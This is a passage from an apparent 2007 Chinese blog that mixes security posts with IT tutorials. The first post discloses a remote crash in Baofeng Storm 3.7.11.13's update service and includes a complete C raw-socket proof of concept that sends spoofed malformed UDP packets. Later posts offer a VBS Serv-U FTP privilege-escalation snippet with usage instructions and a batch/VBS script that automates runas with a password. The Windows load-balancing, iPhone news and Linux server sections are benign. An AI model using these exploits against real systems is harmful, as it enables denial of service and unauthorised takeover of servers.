《暴风影音3》新版本爆漏洞,这次很夸张,远程拒绝服务.
起因是暴风影音自动更新程序会在远程监听一个端口,如果向其发送畸形数据包,就会导致自动更新程序崩溃;如果对其发送精心构造过的数据包,则足以导致用户主机在不知情的情况下被完全控制.
以下是帖子全文:
CISVul20071128

暴风影音3.7.11.13 DOS Vul

|=—————-[ 暴风影音3.7.11.13 DOS Vulnerabilities ]——-=|
|=—————————————————————–=|
|=—————=[ TuTu ]=—————————–=|
|=—————————————————————–=|
|=—————=[ Copyright:www.cisrg.cn ]=———————-=|

–] 介绍
暴风影音是一款播放软件,经过测试,暴风影音3.7.11.13存在一个远程DDOS漏洞。
官方网站:http://www.baofeng.com/

Author:TuTu

–] 漏洞分析
/*++
暴风影音3 Build version : 3.7.11.13 
Test version : 3.7.11.13,自从带了一个自动升级服务stormlive.exe之后,
会在本地开启一个UDP端口5354,向端口发送恶意封包可造成stormlive崩溃 [code] 0041DEE0 /$ 8B4424 08 mov eax, dword ptr [esp+8]
0041DEE4 |. 53 push ebx
0041DEE5 |. 8BD9 mov ebx, ecx
0041DEE7 |. 56 push esi
0041DEE8 |. 33C9 xor ecx, ecx
0041DEEA |. 57 push edi
0041DEEB |. 8943 08 mov dword ptr [ebx+8], eax
0041DEEE |. 6A 04 push 4 ; /size = 4
0041DEF0 |. C1E8 07 shr eax, 7 ; |
0041DEF3 |. 40 inc eax ; |
0041DEF4 |. 894B 04 mov dword ptr [ebx+4], ecx ; |
0041DEF7 |. C1E0 07 shl eax, 7 ; |
0041DEFA |. 50 push eax ; |nitems 
0041DEFB |. 884B 10 mov byte ptr [ebx+10], cl ; |
0041DEFE |. C703 C0524300 mov dword ptr [ebx], 004352C0 ; |
0041DF04 |. 8943 0C mov dword ptr [ebx+C], eax ; |
0041DF07 |. FF15 78154300 call dword ptr [<&MSVCRT.calloc>] ; calloc
0041DF0D |. 8B4B 08 mov ecx, dword ptr [ebx+8]
0041DF10 |. 8B7424 18 mov esi, dword ptr [esp+18]
0041DF14 |. C1E1 02 shl ecx, 2
0041DF17 |. 8943 04 mov dword ptr [ebx+4], eax
0041DF1A |. 8BF8 mov edi, eax
0041DF1C |. 8BC1 mov eax, ecx
0041DF1E |. 83C4 08 add esp, 8
0041DF21 |. C1E9 02 shr ecx, 2
0041DF24 |. F3:A5 rep movs dword ptr es:[edi], dword p> 溢出
0041DF26 |. 8BC8 mov ecx, eax
0041DF28 |. 83E1 03 and ecx, 3
0041DF2B |. F3:A4 rep movs byte ptr es:[edi], byte ptr>
0041DF2D |. 8BCB mov ecx, ebx
0041DF2F |. E8 3C140000 call 0041F370
0041DF34 |. 5F pop edi
0041DF35 |. 8BC3 mov eax, ebx
0041DF37 |. 5E pop esi
0041DF38 |. 5B pop ebx
0041DF39 . C2 0800 retn 8
[/code]
封包例子
00CAFF84 4B 55 44 50 01 00 55 55 55 00 55 55 55 00 KUDP .UUU.UUU.
由于没有对封包中取得的数据进行判断.数据超大导致申请内存失败,后面的内存数据复制导致异常.

–*/
[code]exploit POC
[code]
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include
#include
#include

#pragma comment(lib, "ws2_32")

// Set the packing to a 1 byte boundary
#include

//
// Define the IPv4 header. Make the version and length field one
// character since we can't declare two 4 bit fields without
// the compiler aligning them on at least a 1 byte boundary.
//
typedef struct ip_hdr
{
unsigned char ip_verlen; // 4-bit IPv4 version
// 4-bit header length (in 32-bit words)
unsigned char ip_tos; // IP type of service
unsigned short ip_totallength; // Total length
unsigned short ip_id; // Unique identifier
unsigned short ip_offset; // Fragment offset field
unsigned char ip_ttl; // Time to live
unsigned char ip_protocol; // Protocol(TCP,UDP etc)
unsigned short ip_checksum; // IP checksum
unsigned int ip_srcaddr; // Source address
unsigned int ip_destaddr; // Source address
} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;

//
// Define the UDP header
//
typedef struct udp_hdr
{
unsigned short src_portno; // Source port no.
unsigned short dst_portno; // Dest. port no.
unsigned short udp_length; // Udp packet length
unsigned short udp_checksum; // Udp checksum (optional)
} UDP_HDR, *PUDP_HDR;

// Restore the byte boundary back to the previous value
#include //

// Function: checksum
//
// Description:
// This function calculates the 16-bit one's complement sum
// for the supplied buffer.
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;

while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);

return (USHORT)(~cksum);
}

//
// Function: InitIpv4Header
//
// Description:
// Initialize the IPv4 header with the version, header length,
// total length, ttl, protocol value, and source and destination
// addresses.
//
int InitIpv4Header(
char *buf,
char *src,
char *dest,
int payloadlen
)
{
IPV4_HDR *v4hdr=NULL;

v4hdr = (IPV4_HDR *)buf;

v4hdr->ip_verlen = (4 << 4) | (sizeof(IPV4_HDR) / sizeof(unsigned long)); v4hdr->ip_tos = 0;
v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + payloadlen);
v4hdr->ip_id = 0;
v4hdr->ip_offset = 0;
v4hdr->ip_ttl = 128;
v4hdr->ip_protocol = 0x11;
v4hdr->ip_checksum = 0;
v4hdr->ip_srcaddr = inet_addr(src);
v4hdr->ip_destaddr = inet_addr(dest);

v4hdr->ip_checksum = checksum((unsigned short *)v4hdr, sizeof(IPV4_HDR));

return sizeof(IPV4_HDR);
}

//
// Function: ComputeUdpPseudoHeaderChecksumV4
//
// Description:
// Compute the UDP pseudo header checksum. The UDP checksum is based
// on the following fields:
// o source IP address
// o destination IP address
// o 8-bit zero field
// o 8-bit protocol field
// o 16-bit UDP length
// o 16-bit source port
// o 16-bit destination port
// o 16-bit UDP packet length
// o 16-bit UDP checksum (zero)
// o UDP payload (padded to the next 16-bit boundary)
// This routine copies these fields to a temporary buffer and computes
// the checksum from that.
//
void ComputeUdpPseudoHeaderChecksumV4(
void *iphdr,
UDP_HDR *udphdr,
char *payload,
int payloadlen
)
{
IPV4_HDR *v4hdr=NULL;
unsigned long zero=0;
char buf[0x10000],
*ptr=NULL;
int chksumlen=0,
i;

ptr = buf;

v4hdr = (IPV4_HDR *)iphdr;

// Include the source and destination IP addresses
memcpy(ptr, &v4hdr->ip_srcaddr, sizeof(v4hdr->ip_srcaddr));
ptr += sizeof(v4hdr->ip_srcaddr);
chksumlen += sizeof(v4hdr->ip_srcaddr);

memcpy(ptr, &v4hdr->ip_destaddr, sizeof(v4hdr->ip_destaddr));
ptr += sizeof(v4hdr->ip_destaddr);
chksumlen += sizeof(v4hdr->ip_destaddr);

// Include the 8 bit zero field
memcpy(ptr, &zero, 1);
ptr++;
chksumlen += 1;

// Protocol
memcpy(ptr, &v4hdr->ip_protocol, sizeof(v4hdr->ip_protocol));
ptr += sizeof(v4hdr->ip_protocol);
chksumlen += sizeof(v4hdr->ip_protocol);

// UDP length
memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
ptr += sizeof(udphdr->udp_length);
chksumlen += sizeof(udphdr->udp_length);

// UDP source port
memcpy(ptr, &udphdr->src_portno, sizeof(udphdr->src_portno));
ptr += sizeof(udphdr->src_portno);
chksumlen += sizeof(udphdr->src_portno);

// UDP destination port
memcpy(ptr, &udphdr->dst_portno, sizeof(udphdr->dst_portno));
ptr += sizeof(udphdr->dst_portno);
chksumlen += sizeof(udphdr->dst_portno);

// UDP length again
memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
ptr += sizeof(udphdr->udp_length);
chksumlen += sizeof(udphdr->udp_length);

// 16-bit UDP checksum, zero
memcpy(ptr, &zero, sizeof(unsigned short));
ptr += sizeof(unsigned short);
chksumlen += sizeof(unsigned short);

// payload
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// pad to next 16-bit boundary
for(i=0 ; i < payloadlen%2 ; i++, ptr++) { printf("pad one byten"); *ptr = 0; ptr++; chksumlen++; } // Compute the checksum and put it in the UDP header udphdr->udp_checksum = checksum((USHORT *)buf, chksumlen);

return;
}

//
// Function: InitUdpHeader
//
// Description:
// Setup the UDP header which is fairly simple. Grab the ports and
// stick in the total payload length.
//
int InitUdpHeader(
char *buf,
int srcprt,
int dstprt,
int payloadlen
)
{
UDP_HDR *udphdr=NULL;

udphdr = (UDP_HDR *)buf;
udphdr->src_portno = htons(srcprt);
udphdr->dst_portno = htons(dstprt);
udphdr->udp_length = htons(sizeof(UDP_HDR) + payloadlen);

return sizeof(UDP_HDR);
}

//
// Function: sendudp
//
// Description:
// Send the udp packets with RAW SOCKET
//
int sendudp(char *srcip, char *dstip, int srcprt, int dstprt, char *buf, int bufsize)
{
WSADATA wsd;
SOCKET s;
char sendbuf[0x10000]={0};
int iphdrlen,
allsize,
udphdrlen;
int optlevel,
option,
optval,
rc;
SOCKADDR_IN ReceiverAddr;

ReceiverAddr.sin_family = AF_INET;
ReceiverAddr.sin_port = htons(dstprt);
ReceiverAddr.sin_addr.s_addr = inet_addr(dstip);

allsize = sizeof(IPV4_HDR) + sizeof(UDP_HDR) + bufsize;
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("WSAStartup() failed: %dn", GetLastError());
return -1;
}

s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (s == INVALID_SOCKET)
{
fprintf(stderr, "socket failed: %dn", WSAGetLastError());
return -1;
}

// Enable the IP header include option
optval = 1;
optlevel = IPPROTO_IP;
option = IP_HDRINCL;
rc = setsockopt(s, optlevel, option, (char *)&optval, sizeof(optval));
if (rc == SOCKET_ERROR)
{
fprintf(stderr, "setsockopt: IP_HDRINCL failed: %dn", WSAGetLastError());
return -1;
}

// Initialize the v4 header
iphdrlen = InitIpv4Header(
sendbuf,
srcip,
dstip,
bufsize
);

// Initialize the UDP header
udphdrlen = InitUdpHeader(
&sendbuf[iphdrlen],
srcprt,
dstprt,
bufsize
);

// Compute the UDP checksum
ComputeUdpPseudoHeaderChecksumV4(
sendbuf,
(UDP_HDR *)&sendbuf[iphdrlen],
buf,
bufsize
);

// Copy the payload to the end of the header
memcpy(&sendbuf[iphdrlen + udphdrlen], buf, bufsize);

rc = sendto(
s,
sendbuf,
allsize,
0,
(const struct sockaddr*)&ReceiverAddr,
sizeof(ReceiverAddr)
);
if (rc == SOCKET_ERROR)
{
printf("sendto() failed: %dn", WSAGetLastError());
}
else
{
printf("sent %d bytesn", rc);
}
closesocket(s) ;
WSACleanup() ;

return 0;
}

int main(int argc, char **argv)
{
if (argc < 3) { printf("%s n", argv[0]);
return 0;
}

printf("n 暴风影音3 stormlive.exe DDOS n");
printf("www.CISRG.cn n");
printf("E-mail: tutu@9.cnn");
printf("Copyright (c) 2007 .: Tutu :.n");

sendudp(argv[1], argv[2], 5354, 5354, "KUDPx01x00x55x55x55x00x55x55x55x00", 14);
getchar();
return 0;
}
[/code]

十一月 29th, 2007

Posted In: 未分类

在现行的许多网络应用中,有时一台服务器往往不能满足客户端的要求,此时只能通过增加服务器来解决问题。

  那么,有没有一个办法或者技术来解决此类问题呢?使用Windows 2000或Windows Server 2003中的网络负载平衡群集就可以(本文将介绍Windows Server 2003中的网络负载平衡技术的实现方法)。

  一、网络负载平衡的优点

  1.网络负载平衡允许你将传入的请求传播到最多达32台的服务器上,即可以使用最多32台服务器共同分担对外的网络请求服务。网络负载平衡技术保证即使是在负载很重的情况下它们也能作出快速响应。

  2.网络负载平衡对外只须提供一个IP地址(或域名)。

  3.如果网络负载平衡中的一台或几台服务器不可用时,服务不会中断。网络负载平衡自动检测到服务器不可用时,能够迅速在剩余的服务器中重新指派客户机通讯。此保护措施能够帮助你为关键的业务程序提供不中断的服务。可以根据网络访问量的增多来增加网络负载平衡服务器的数量。

  4.网络负载平衡可在普通的计算机上实现。

  在Windows Server 2003中,网络负载平衡的应用程序包括Internet信息服务 (IIS)、ISA Server 2000防火墙与代理服务器、VPN虚拟专用网、终端服务器、Windows Media Services(Windows视频点播、视频广播)等服务。同时,网络负载平衡有助于改善你的服务器性能和可伸缩性,以满足不断增长的基于 Internet客户端的需求。

  网络负载平衡可以让客户端用一个逻辑Internet名称和虚拟IP地址(又称群集IP地址)访问群集,同时保留每台计算机各自的名称。

  下面,我们将在两台安装Windows Server 2003的普通计算机上,介绍网络负载平衡的实现及应用。

  二、网络负载平衡的实现

  这两台计算机中,一台计算机名称为w2003-1,IP地址为202.206.197.190,另一台名为w2003-2,IP地址为202.206.197.191.

  规划网络负载平衡群集使用的IP地址为202.206.197.195,规划网络负载平衡群集完整的计算机名称为 cluster.heinfo.edu.cn.你需要在heinfo.edu.cn域中注册此主机名称并将地址设置为202.206.197.195.如果你没有DNS,可以在需要访问网络负载平衡的客户机(包括网络负载平衡主机)上编辑%systemroot%"system32"drivers" etc目录下的hosts文件,添加一条信息“202.206.197.195 cluster.heinfo.edu.cn”,即可解决DNS域名解析的问题。

  当正式应用时,客户机只需要使用cluster.heinfo.edu.cn或IP地址202.206.197.195来访问服务器,网络服务平衡会根据每台服务器的负载情况自动选择202.206.197.190或者202.206.197.191对外提供服务。

  网络负载平衡的实现过程如下:

  在实现网络负载平衡的每一台计算机上,只能安装TCP/IP协议,不要安装任何其他的协议(如IPX协议或者NetBEUI协议),在网络属性中,“网络负载平衡”也不能被选择,这可以从“网络连接属性”中查看。

  ①先进入第一台计算机,以管理员身份登录,从“管理工具”中运行“网络负载平衡管理器”,用鼠标右键单击“网络负载平衡群集”,从出现的菜单中选择“新建群集”,进入“群集参数”界面。

  在“IP地址”后面输入规划的群集参数地址202.206.197.195,在子网掩码处使用默认值,在“完整Internet名称”后面输入cluster.heinfo.edu.cn(也可以是其他的名称,但输入的DNS名称必须与输入的IP地址相符)。

  如果允许远程控制,请选中“允许远程控制”,并在“远程密码”和“确认密码”处输入可以进行远程控制的密码。

  ②点击“下一步”按钮,进入群集IP地址页面后再进入“端口规则”界面,点击“下一步”按钮,进入“连接”界面。

③在“连接”界面的“主机”栏中输入当前计算机的名称w2003-1,然后点击“连接”按钮,将在“对配置一个新的群集可用的接口”框中显示出连接的计算机的网卡及IP地址。选择与群集IP地址同一网段的地址(用于对外提供网络应用的网卡),然后点击“下一步”按钮,进入设置“主机参数”界面,点击“完成”按钮,系统将自动开始网络负载平衡群集的配置。几分钟后,网络负载平衡群集配置完成。

  ④打开第二台计算机,并以管理员的身份登录进入。

  注意:在网络负载平衡中的每个节点上,管理员账号的用户名和密码最好一致。

  ⑤然后,在第一台计算机上,用鼠标右键单击新创建的群集,从出现的菜单中选择“添加主机到群集”。将出现“连接”界面,在“主机”中输入第二台计算机的计算机名称,点击“连接”按钮,将会在“对配置群集可用的接口”下面显示出连接的计算机上的网络配置。选择202.206.197.191的网卡,进入主机参数界面,点击“完成”按钮,即可返回网络负载平衡管理器。

  ⑥关闭网络负载平衡管理器后再进入网络负载平衡管理器。用鼠标右键单击“网络负载平衡群集”,从出现的菜单中选择“连接到现存的”,将会弹出“连接”界面。

  输入第一台计算机的名称,点击“连接”按钮,在“群集”下面将列出群集的IP地址,选择此IP地址,并点击“完成”按钮,连接群集即可完成。

  以后,如果这两台服务器不能满足需求,可以按以上步骤添加第3台、第4台计算机到网络负载平衡中以满足要求。

  三、用IIS服务验证网络负载平衡

  网络负载平衡配置好后,为了实现某项具体的服务,需要在网络负载平衡的计算机上安装相应的服务。例如:为了实现IIS网站的负载平衡,需要在相应的网络负载平衡的计算机上安装IIS服务。

  安装网络负载平衡的应用程序时,不需要特别的方法,只需要在配置好网络负载平衡的计算机上安装相应的服务即可。但是为了让每个用户在通过网络负载平衡访问到不同的计算机时,能够访问到一致的数据,需要在网络负载平衡的每台计算机上保持数据的一致性。举例来说:实现了两个节点的IIS的网络负载平衡,为了保证两个网站内容的一致性,除了这两个IIS服务器的配置相同外,相应的网站数据必须一致。

  为了检验网络负载平衡,我们可以通过IIS来进行验证,其他的一些应用如终端服务、Windows Media服务与IIS的应用相类似。

  在网络负载平衡的每一台计算机上安装IIS服务,方法如下:

  在“添加/删除程序”中,点击“添加Windows组件”,进入Windows组件向导,双击“应用程序服务器”,进入“应用程序服务器”。

  选中ASP.NET、Internet信息服务及应用网络COM+访问后,即可开始安装IIS服务。

  安装之后,进入第一台计算机的inetpub"wwwroot目录,新建一个文本文件,输入以下内容:

  This win2003-1

  然后将它保存为default.htm文件。这个网页在IE中将显示如下内容:

  This w2003-1

  在第二台计算机的inetpub"wwwroot目录,新建一个文本文件,并输入下面的内容:

  This win2003-2

  这个网页在IE浏览器中将显示“This w2003-2”,随后将这个文件以default.htm名称保存。

  然后,在其他计算机上的IE浏览器中键入http://cluster.heinfo.edu.cn,将会显示为“This win2003-1”或“This win2003-2”,根据网络的负载,网络负载平衡会自动转发到第一台计算机或第二台计算机。为了验证效果,你可以在浏览的时候,拔掉第一台计算机的网线或拔掉第二台机器的网线,将会发现浏览到的将是不同内容。当然,我们只是测试的时候,为了验证网络负载平衡的效果,两个网站的内容不一致,而在正式应用的时候,网络负载平衡群集的每个节点计算机的内容将是一致的,这样,不管使用那一个节点响应,都保证访问的内容是一致的。

十一月 27th, 2007

Posted In: 未分类

@echo off
echo dim WshShell,cmd >> %3runas.vbs
echo cmd="%SystemRoot%system32cmd.exe" >> %3runas.vbs
echo Set WshShell=WScript.CreateObject("WScript.Shell") >> %3runas.vbs
echo WshShell.Run cmd >> %3runas.vbs
echo WScript.Sleep 500 >> %3runas.vbs
echo WshShell.SendKeys"runas /user:Administrators%1 %3Bcmd.bat" >> %3runas.vbs
echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs
echo WScript.Sleep 1000 >> %3runas.vbs
echo WshShell.SendKeys"%2" >> %3runas.vbs
echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs
echo WScript.Sleep 500 >> %3runas.vbs
echo WshShell.SendKeys"exit" >> %3runas.vbs
echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs
echo @echo off >> %3Bcmd.bat
echo %4 %5 %6 %7 %8 %9 >> %3Bcmd.bat
echo del %3runas.vbs >> %3Bcmd.bat
echo del %3Bcmd.bat >> %3Bcmd.bat
%3runas.vbs
以上保存为BAT
dim WshShell,cmd
cmd="%SystemRoot%system32cmd.exe"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run cmd
WScript.Sleep 500
WshShell.SendKeys"runas /user:Administrators用户名 密码 命令"
WshShell.SendKeys"{ENTER}"
WScript.Sleep 1000
WshShell.SendKeys"%2"
WshShell.SendKeys"{ENTER}"
WScript.Sleep 500
WshShell.SendKeys"exit"
WshShell.SendKeys"{ENTER}"
以上保存为VBS

十一月 26th, 2007

Posted In: 未分类

来源:NetKnave Blog
修改ftpport为21
修改newdomain后面的goldsun| IP(为要提权的服务器的IP地址)|
修改newuser后面的 -IP=IP地址和上面一样(为要提权的服务器的IP地址)…OK…..提权…会用FTP增加一个可以
执行命令的用户…..有个这个用户什么不能做哈…..[code]ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DeleteDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _
[/code]

十一月 21st, 2007

Posted In: 未分类

黑客表示,他们发现,iPhone使得苹果能够知道它在干什么。
  据国外媒体报道称,自这一消息上周五在Hackintosh Web论坛上公布以来,iPhone用户纷纷谴责苹果没有披露这一消息,而只是在用户服务协议中略微提到了这一点。

  对于苹果,以及它在欧洲的合作伙伴而言,这一事件正值关键时期。苹果才刚刚开始在德国和英国销售iPhone,并且iPhone将很快登陆法国市场。目前,任何问题━━例如被迫平息公关风波,对于苹果而言都可能意味着“挫折”。

  iPhone的表现对于苹果、运营商合作伙伴、日益增长的产业链极其重要。在苹果看来,iPhone、iPod、Mac、软件对其未来同等重要。运营商将iPhone看作是吸引新客户的一种重要手段。目前,第三方iPhone配件市场的规模达到了10亿美元。

  苹果没有就此消息发表评论。

  AT&T的发言人马克表示,这是一个与设备相关的问题,用户需要与苹果沟通。我们不便就此发表评论。

  据研究过相关代码的人士称,它能够向苹果报告一个与每部iPhone相关的唯一“识别号码”。有了这一信息,苹果可以执行许多操作,例如了解iPhone正在运行什么软件、关闭篡改版iPhone。

十一月 21st, 2007

Posted In: 未分类

Linux是多用户、多任务的操作系统,具有可移植性、强大的网络功能和良好的编程环境。在Linux的发行版中已经附带了多套服务器软件,无论是架设网
页服务器、邮件服务器,还是FTP服务器,都可以轻而易举地实现。本文以Red Hat Linux 9.0为基础,向你全面讲述Linux环境下服务器
架设的方法与技巧。
一、动态域名的实现
  1.动态域名基础
  搭建Linux服务器是一个系统工程,涉及到硬件购置、软件安装、域名申请、网络服务提供等。这里的前提就是域名的申请,因为对于虚拟拨号上网的用户而言,使用的都是动态IP地址,别人根本无法和你联系。
  解决的办法就是采用动态域名解析工具,通过运行一个专门的客户端程序,一旦拨号用户上线,就会把当前的动态IP地址发送到专门的动态域名解析服务器,然后该动态域名解析服务器就可以及时更新自己的数据库,把某个"固定"域名指向该临时IP地址。这样,不管现在的IP地址是多少,总是可以通过一个固定的域名来访问我们的Linux服务器。
  需要注意的是,计算机所拥有的IP地址应该是公网IP地址,也就是Internet所采用的IP地址,而非内网(局域网)IP地址。
  2.动态域名解析
  (1)注册动态域名
  我们可以到科迈网http://www.comexe.cn/register.php注册一个用户账户。然后在"域名管理"页面中单击"申请科迈公网免费二级域名"链接,注册一个合适的名称(例如name),即会得到一个name.kmip.net的二级域名,然后单击"提交"按钮,如果该域名没有被别人注册,则可以立即生效。
  注意:本文假设用户已经完全安装Red Hat Linux 9.0,并使用KDE桌面系统。
  (2)安装动态域名解析工具
  注册成功以后,我们可以到http://www.comexe.cn/client/linux_i.tar.gz中下载动态域名解析工具 (如,版本号"公网Ver 2.00 Build 104")。下载得到的是一个压缩文件,在系统里建立一个目录,如 /usr/local/comexe,把下载的文件解压到这个目录即可。
  [root@www root]# cd /tmp
  [root@www tmp]# tar -xvzf linux_i.tar.gz
  [root@www tmp]# cp pipclient /usr/local/comexe/pipclient
  (3)配置客户端
  解压后得到一个执行文件pipclient。在终端命令窗口切换到该目录并运行以下命令:
  [root@ahpeng comexe]# ./ pipclient
  第一次运行pipclient,会要求输入配置信息:
  [root@ahpeng comexe]# ./ pipclient
  Usage: pipclient -h -c -w /home/pipclient
  -h: help message.
  -c: do configuration.
  -w <dir>: set work directory.
  Do configuration now.
  Input User name: 
  这里按照屏幕提示输入以下配置信息:
  Input User name:   //在科迈网注册的用户名
  Input Password:    //科迈网用户密码
  Input Domain:     //域名
  Input Offline URL or Offline IP(Enter for none): //域名离线URL。如果没有请直接按回车键。这里要注意离线功能对科迈的二级域名(如 abc.dns0755.net、abc.kmip.net)无效
  Has another domain?(Y/N):  //如果要解析多个域名,请按"Y",逐个输入域名及其离线URL
  配置完毕后应该出现以下提示信息:
  030827 155904:MESG:
  COMEXE DDNS (Public IP) Ver 2.00a Build 102
  Copyright 2003 Shenzhen COMEXE Communication Technology Co. Ltd.
  All Rights Reserved.
  http://www.comexe.cn
  030827 155904:MESG:服务启动.
  030827 155904:INFO:Connected to:210.22.12.54:9994
  030827 155904:INFO:Connected to:210.22.12.54:9993
  030827 155904:MESG:登录成功! 出口IP是: xxx.xxx.xxx.xxx
  030827 155904:INFO:xxx.xxx.xxx.xxx N 20 
  现在可以按Ctrl+C组合键退出。如果以后要修改配置,可以在终端命令窗口运行以下命令:
  [root@ahpeng comexe]#./pipclient -c
  3.内网映射
  所谓内网(局域网),就是只有一台主机(可能是代理服务器或路由器)连接到Internet,具有公网地址,假设为A1。别的计算机通过它与Internet连接,假设为A2,只有内网地址,外网计算机显然无法直接访问A2。
  要让外网用户可以访问Linux服务器,通常有三种解决思路:
  (1)如果A1是Windows主机
  如果A1是Windows主机,可以考虑安装端口映射工具,如PortTunnel,把外网计算机对A1特定端口的访问,转驳到对A2特定端口的访问。
  (2)如果你采用路由器
  如果你采用路由器,或具有路由功能的ADSL Modem,可以直接在路由器上进行设置。这里以AboveCable无线路由器为例进行介绍:
  首先在浏览器地址栏中输入"192.168.100.100",回车进入路由器设置界面,输入密码即可进入管理界面。展开页面左侧的"重定向规则→虚拟主机"链接,然后在右侧页面中依次填上服务端口、服务器IP地址,这样外网对路由器的特定端口访问,都会被转驳到指定服务器的端口。
  (3)下载客户端程序
  登录到http://www.comexe.cn/helptruehost.php下载一个特殊的客户端程序,不过这需要支付一定的费用、并且带宽受到限制(通过专门的服务器中转),它可以实现内网用户对外提供服务。
  4.内置防火墙的配置
  在搭建Linux网站时,还有一个很容易疏忽的问题,即是没有正确配置系统内置的防火墙,这可能会导致"客户"无法访问我们的Linux服务器,所以必须对防火墙进行配置。单击"主菜单→系统设置→安全级别"菜单项,即可打开"安全级别配置"对话框,如图1所示。选中"定制"选项,然后选择所需启用的服务,例如WWW、FTP、邮件(SMTP)等,最后单击"确定"按钮即可。

——————————————————————————–
二、架设Web服务器
  Apache是使用范围最广的Web服务器工具套件,这里我们将详细介绍如何在Red Hat Linux 9.0环境里安装、启动和配置Apache服务器。
  1.安装Apache服务器
  在安装Red Hat Linux 9.0时,会提示是否安装Apache服务器。如果不能确定是否已经安装,可以在终端命令窗口输入以下命令:
  [root@ahpeng root] rpm -qa | grep httpd
  如果结果显示为"httpd-2.0.40-21",则说明系统已经安装Apache服务器。
  如果安装Red Hat Linux 9.0时没有选择Apache服务器,则可以在图形环境下单击"主菜单→系统设置→添加删除应用程序" 菜单项,在出现的"软件包管理"对话框里确保选中"万维网服务器"选项,然后单击"更新"按钮,按照屏幕提示插入安装光盘即可开始安装。
  另外,你也可以直接插入第1张安装光盘,定位到/RedHat/RPMS下的httpd-2.0.40-21.i386.rpm安装包,然后在终端命令窗口运行以下命令即可开始安装进程:
  [root@ahpeng RPMS] rpm -ivh httpd-2.0.40-21.i386.rpm
  安装好Apache服务器,可以在终端命令窗口运行以下命令来启动Apache服务:
  [root@ahpeng root] /etc/rc.d/init.d/httpd start
  重新启动Apache服务:
  [root@ahpeng root] /etc/rc.d/init.d/httpd restart
  关闭Apache服务:
  [root@ahpeng root] /etc/rc.d/init.d/httpd stop
  确认Apache服务已经启动后,我们可以在Web浏览器里输入以下地址,如果可以看到默认的Apache首页,则说明Apache服务器工作正常。
  Htpp://WebServerAddress
  此处的WebServerAddress指代Web服务器的IP地址或者域名。即是说WebServerAddress应该用实际的Web服务器的IP地址或者域名来代替。
  2.配置httpd.conf文件
  在早期Apache服务器版本里,其配置内容分散在httpd.conf、srm.conf、access.conf三个文件里。而新版本的 Apache服务器,则统一在httpd.conf里进行配置。对于默认安装的Red Hat Linux来说,该配置文件位于 /etc/httpd/conf目录下,如果安装的是tar.gz版本,则该文件位于/usr/local/apache/conf目录。
  利用httpd.conf,我们可以对Apache服务器进行全局配置、主要或预设服务器的参数定义、虚拟主机的设置。httpd.conf是一个文本文件,我们可以用Vi、Kate等文本编辑工具进行修改。通过分析该httpd.conf配置文件,我们不难发现:
  该配置文件分为若干个小节,例如Section 1: Global Environment(第一小节:全局环境);Section 2: 'Main' server configuration(第二小节:主服务器配置)等。
  每个小节都有若干个配置参数,其表达形式为"配置参数名称 具体值",每个配置参数都有详尽的英文解释(用#号引导每一个注释行)。
  为了帮助大家理解,这里给出httpd.conf的最常用配置参数:
  (1)DocumentRoot
  该参数指定Apache服务器存放网页的路径,默认所有要求提供HTTP服务的连接,都以这个目录为主目录。以下为Apache的默认值:
  DocumentRoot "/var/www/html"
  (2)MaxClients
  该参数限制Apache所能提供服务的最高数值,即同一时间连接的数目不能超过这个数值。一旦连接数目达到这个限制,Apache服务器则不再为别的连接提供服务,以免系统性能大幅度下降。本例假设最大连接数是150个:
  MaxClients 150
  (3)Port
  该参数用来指定Apache服务器的监听端口。一般来说,标准的HTTP服务默认端口号是80,一般不要更改这个数值。本例为80端口:
  Port 80
  (4)ServerName
  该参数使得用户可以自行设置主机名,以取代安装Apache服务器主机的真实名字。此名字必须是已经在DNS服务器上注册的主机名。如果当前主机没有已注册的名字,也可以指定IP地址。本例将服务器名设为Peter.vicp.net:
  ServerName Peter.vicp.net
  (5)MaxKeepAliveRequests
  当使用保持连接(Persistent Connection)功能时,可以使用本参数决定每次连接所能发出的要求数目的上限。如果此数值为 0,则表示没有限制。建议尽可能使用较高的数值,以充分发挥Apache的高性能,本例设置每次连接所能发出的要求数目上限为100:
  MaxKeepAliveRequests 100
  (6)MaxRequestsPerChild
  该参数限制每个子进程(Child Process)在结束前所能处理的请求数目,一旦达到该数目,这个子进程就会被中止,以避免长时间占据Apache(或者Apache服务器所采用的函数库),防止造成内存或者其他系统资源的超负荷。
  需要注意的是,该参数的数值并不包括保持连接所发出的请求数目。举例说明,如果某个子进程负责某一个请求,该请求随后带来保持连接功能所需的10个请求,这时候对于该参数而言,Apache服务器会认为这个子进程只处理了1个要求,而非11个要求。
  以下设置最多可以处理10个要求:
  MaxRequestsPerChild 10
  (7)MaxSpareServers 和MinSpareServers
  提供Web服务的HTTP守护进程,其数目会随连接的数目而变动。Apache服务器采用动态调整的方法,维持足够的HTTP守护进程数目,以处理目前的负载,也就是同时保持一定的空闲HTTP守护进程来等候新的连接请求。
